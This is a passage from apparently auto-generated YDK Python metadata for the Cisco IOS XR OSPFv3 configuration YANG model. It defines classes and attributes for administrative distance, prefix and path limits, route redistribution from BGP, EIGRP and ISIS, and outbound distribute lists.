'ospfv3',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Distance' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Distance',
False,
[
_MetaInfoClassMember('administrative', ATTRIBUTE, 'int' , None, None,
[('1', '255')], [],
''' Define an administrative distance
''',
'administrative',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('ospfv3', REFERENCE_CLASS, 'Ospfv3_' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Distance.Ospfv3_',
[], [],
''' OSPFv3 administrative distance
''',
'ospfv3',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'distance',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Maximum.RedistributedPrefixes' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Maximum.RedistributedPrefixes',
False,
[
_MetaInfoClassMember('prefixes', ATTRIBUTE, 'int' , None, None,
[('1', '4294967295')], [],
''' Maximum number of prefixes redistributed to
protocol
''',
'prefixes',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('threshold', ATTRIBUTE, 'int' , None, None,
[('1', '100')], [],
''' Threshold value (%) at which to generate a
warning message
''',
'threshold',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('warning-only', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Only give warning message when limit is
exceeded
''',
'warning_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'redistributed-prefixes',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Maximum' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Maximum',
False,
[
_MetaInfoClassMember('interfaces', ATTRIBUTE, 'int' , None, None,
[('1', '4294967295')], [],
''' Specify maximum number of interfaces
''',
'interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('paths', ATTRIBUTE, 'int' , None, None,
[('1', '64')], [],
''' Specify maximum number of paths per route
''',
'paths',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('redistributed-prefixes', REFERENCE_CLASS, 'RedistributedPrefixes' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Maximum.RedistributedPrefixes',
[], [],
''' Limit number of redistributed prefixes
''',
'redistributed_prefixes',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'maximum',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Redistributes.Redistribute.ConnectedOrStaticOrSubscriberOrMobile' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Redistributes.Redistribute.ConnectedOrStaticOrSubscriberOrMobile',
False,
[
_MetaInfoClassMember('default-metric', ATTRIBUTE, 'int' , None, None,
[('0', '16777214')], [],
''' OSPFv3 default metric
''',
'default_metric',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('eigrp-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3EigrpRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EigrpRouteEnum',
[], [],
''' EIGRP route type
''',
'eigrp_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('external-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3ExternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3ExternalRouteEnum',
[], [],
''' Redistribute OSPFv3 external routes
''',
'external_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('internal-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3InternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3InternalRouteEnum',
[], [],
''' Redistribute OSPFv3 routes
''',
'internal_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('isis-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3IsisRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3IsisRouteEnum',
[], [],
''' ISIS route type
''',
'isis_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('metric-type', REFERENCE_ENUM_CLASS, 'Ospfv3MetricEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3MetricEnum',
[], [],
''' OSPFv3 exterior metric type for redistributed
routes
''',
'metric_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('nssa-external-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3NssaExternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3NssaExternalRouteEnum',
[], [],
''' Redistribute OSPFv3 NSSA external routes
''',
'nssa_external_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('preserve-med', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Preserve (Multi-Exit Discriminator) of BGP
routes
''',
'preserve_med',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('preserve-med-info', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Preserve Information (Multi-Exit
Discriminator) of BGP routes
''',
'preserve_med_info',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('redistribute-route', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Redistribution of OSPFv3 routes
''',
'redistribute_route',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('route-policy-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Route policy to redistribution
''',
'route_policy_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('tag', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Tag for routes redistributed into OSPFv3
''',
'tag',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'connected-or-static-or-subscriber-or-mobile',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Redistributes.Redistribute.Bgp' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Redistributes.Redistribute.Bgp',
False,
[
_MetaInfoClassMember('as-xx', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' 4-byte AS number in asdot (X.Y) format -
first half (X)
''',
'as_xx',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('as-yy', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' 4-byte AS number in asdot (X.Y) format -
second half (Y), or 2-byte AS number, or
4-byte AS number in asplain format
''',
'as_yy',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('default-metric', ATTRIBUTE, 'int' , None, None,
[('0', '16777214')], [],
''' OSPFv3 default metric
''',
'default_metric',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('eigrp-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3EigrpRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EigrpRouteEnum',
[], [],
''' EIGRP route type
''',
'eigrp_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('external-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3ExternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3ExternalRouteEnum',
[], [],
''' Redistribute OSPFv3 external routes
''',
'external_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('internal-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3InternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3InternalRouteEnum',
[], [],
''' Redistribute OSPFv3 routes
''',
'internal_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('isis-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3IsisRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3IsisRouteEnum',
[], [],
''' ISIS route type
''',
'isis_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('metric-type', REFERENCE_ENUM_CLASS, 'Ospfv3MetricEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3MetricEnum',
[], [],
''' OSPFv3 exterior metric type for redistributed
routes
''',
'metric_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('nssa-external-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3NssaExternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3NssaExternalRouteEnum',
[], [],
''' Redistribute OSPFv3 NSSA external routes
''',
'nssa_external_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('preserve-med', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Preserve (Multi-Exit Discriminator) of BGP
routes
''',
'preserve_med',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('preserve-med-info', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Preserve Information (Multi-Exit
Discriminator) of BGP routes
''',
'preserve_med_info',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('redistribute-route', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Redistribution of OSPFv3 routes
''',
'redistribute_route',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('route-policy-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Route policy to redistribution
''',
'route_policy_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('tag', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Tag for routes redistributed into OSPFv3
''',
'tag',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'bgp',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Redistributes.Redistribute.Ospfv3OrIsisOrApplication' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Redistributes.Redistribute.Ospfv3OrIsisOrApplication',
False,
[
_MetaInfoClassMember('process-name', ATTRIBUTE, 'str' , None, None,
[], ['[\\w\\-\\.:,_@#%$\\+=\\|;]+'],
''' ISIS process name if protocol is ISIS, or
OSPFv3 process name if protocol is OSPFv3
''',
'process_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('default-metric', ATTRIBUTE, 'int' , None, None,
[('0', '16777214')], [],
''' OSPFv3 default metric
''',
'default_metric',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('eigrp-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3EigrpRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EigrpRouteEnum',
[], [],
''' EIGRP route type
''',
'eigrp_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('external-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3ExternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3ExternalRouteEnum',
[], [],
''' Redistribute OSPFv3 external routes
''',
'external_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('internal-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3InternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3InternalRouteEnum',
[], [],
''' Redistribute OSPFv3 routes
''',
'internal_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('isis-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3IsisRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3IsisRouteEnum',
[], [],
''' ISIS route type
''',
'isis_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('metric-type', REFERENCE_ENUM_CLASS, 'Ospfv3MetricEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3MetricEnum',
[], [],
''' OSPFv3 exterior metric type for redistributed
routes
''',
'metric_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('nssa-external-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3NssaExternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3NssaExternalRouteEnum',
[], [],
''' Redistribute OSPFv3 NSSA external routes
''',
'nssa_external_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('preserve-med', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Preserve (Multi-Exit Discriminator) of BGP
routes
''',
'preserve_med',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('preserve-med-info', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Preserve Information (Multi-Exit
Discriminator) of BGP routes
''',
'preserve_med_info',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('redistribute-route', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Redistribution of OSPFv3 routes
''',
'redistribute_route',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('route-policy-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Route policy to redistribution
''',
'route_policy_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('tag', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Tag for routes redistributed into OSPFv3
''',
'tag',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'ospfv3-or-isis-or-application',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Redistributes.Redistribute.Eigrp' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Redistributes.Redistribute.Eigrp',
False,
[
_MetaInfoClassMember('as-xx', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' 4-byte AS number in asdot (X.Y) format -
first half (X)
''',
'as_xx',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('default-metric', ATTRIBUTE, 'int' , None, None,
[('0', '16777214')], [],
''' OSPFv3 default metric
''',
'default_metric',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('eigrp-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3EigrpRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EigrpRouteEnum',
[], [],
''' EIGRP route type
''',
'eigrp_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('external-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3ExternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3ExternalRouteEnum',
[], [],
''' Redistribute OSPFv3 external routes
''',
'external_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('internal-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3InternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3InternalRouteEnum',
[], [],
''' Redistribute OSPFv3 routes
''',
'internal_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('isis-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3IsisRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3IsisRouteEnum',
[], [],
''' ISIS route type
''',
'isis_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('metric-type', REFERENCE_ENUM_CLASS, 'Ospfv3MetricEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3MetricEnum',
[], [],
''' OSPFv3 exterior metric type for redistributed
routes
''',
'metric_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('nssa-external-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3NssaExternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3NssaExternalRouteEnum',
[], [],
''' Redistribute OSPFv3 NSSA external routes
''',
'nssa_external_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('preserve-med', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Preserve (Multi-Exit Discriminator) of BGP
routes
''',
'preserve_med',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('preserve-med-info', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Preserve Information (Multi-Exit
Discriminator) of BGP routes
''',
'preserve_med_info',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('redistribute-route', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Redistribution of OSPFv3 routes
''',
'redistribute_route',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('route-policy-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Route policy to redistribution
''',
'route_policy_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('tag', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Tag for routes redistributed into OSPFv3
''',
'tag',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'eigrp',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Redistributes.Redistribute' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Redistributes.Redistribute',
False,
[
_MetaInfoClassMember('protocol-name', REFERENCE_ENUM_CLASS, 'Ospfv3ProtocolType2Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3ProtocolType2Enum',
[], [],
''' Protocol
''',
'protocol_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('bgp', REFERENCE_LIST, 'Bgp' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Redistributes.Redistribute.Bgp',
[], [],
''' bgp
''',
'bgp',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('connected-or-static-or-subscriber-or-mobile', REFERENCE_CLASS, 'ConnectedOrStaticOrSubscriberOrMobile' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Redistributes.Redistribute.ConnectedOrStaticOrSubscriberOrMobile',
[], [],
''' connected or static or subscriber or mobile
''',
'connected_or_static_or_subscriber_or_mobile',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('eigrp', REFERENCE_LIST, 'Eigrp' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Redistributes.Redistribute.Eigrp',
[], [],
''' eigrp
''',
'eigrp',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('ospfv3-or-isis-or-application', REFERENCE_LIST, 'Ospfv3OrIsisOrApplication' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Redistributes.Redistribute.Ospfv3OrIsisOrApplication',
[], [],
''' ospfv3 or isis or application
''',
'ospfv3_or_isis_or_application',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'redistribute',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Redistributes' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Redistributes',
False,
[
_MetaInfoClassMember('redistribute', REFERENCE_LIST, 'Redistribute' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Redistributes.Redistribute',
[], [],
''' Redistribute information from another routing
protocol
''',
'redistribute',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'redistributes',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Ignore.Lsa' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Ignore.Lsa',
False,
[
_MetaInfoClassMember('mospf', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable ignore of MOSPF type 6 LSA
''',
'mospf',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'lsa',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Ignore' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Ignore',
False,
[
_MetaInfoClassMember('lsa', REFERENCE_CLASS, 'Lsa' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Ignore.Lsa',
[], [],
''' Do not complain upon receiving LSA of the
specified type
''',
'lsa',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'ignore',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.DistributeListOut.DistributeOuts.DistributeOut.AsYyAndAsXxAndProcessName' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.DistributeListOut.DistributeOuts.DistributeOut.AsYyAndAsXxAndProcessName',
False,
[
_MetaInfoClassMember('as-xx', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' 4-byte AS number in asdot (X.Y) format -
first half (X)
''',
'as_xx',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('as-yy', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' 4-byte AS number in asdot (X.Y) format -
second half (Y), or 2-byte AS number, or
4-byte AS number in asplain format
''',
'as_yy',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('process-name', ATTRIBUTE, 'str' , None, None,
[], ['[\\w\\-\\.:,_@#%$\\+=\\|;]+'],
''' If ISIS or OSPFv3, specify the instance name
''',
'process_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('prefix-list', ATTRIBUTE, 'str' , None, None,
[], [],
''' Prefix-list name
''',
'prefix_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'as-yy-and-as-xx-and-process-name',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.DistributeListOut.DistributeOuts.DistributeOut' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.DistributeListOut.DistributeOuts.DistributeOut',
False,
[
_MetaInfoClassMember('protocol-name', REFERENCE_ENUM_CLASS, 'Ospfv3ProtocolEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3ProtocolEnum',
[], [],
''' none
''',
'protocol_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('as-yy-and-as-xx-and-process-name', REFERENCE_LIST, 'AsYyAndAsXxAndProcessName' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.DistributeListOut.DistributeOuts.DistributeOut.AsYyAndAsXxAndProcessName',
[], [],
''' keys: as-yy, as-xx, process-name
''',
'as_yy_and_as_xx_and_process_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'distribute-out',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.DistributeListOut.DistributeOuts' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.DistributeListOut.DistributeOuts',
False,
[
_MetaInfoClassMember('distribute-out', REFERENCE_LIST, 'DistributeOut' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.DistributeListOut.DistributeOuts.DistributeOut',
[], [],
''' Filter generated type-5 LSAs
''',
'distribute_out',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'distribute-outs',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.DistributeListOut' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.DistributeListOut',
False,
[
_MetaInfoClassMember('distribute-outs', REFERENCE_CLASS, 'DistributeOuts' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.DistributeListOut.DistributeOuts',
[], [],
''' Filter generated type-5 LSAs
''',
'distribute_outs',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'distribute-list-out',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
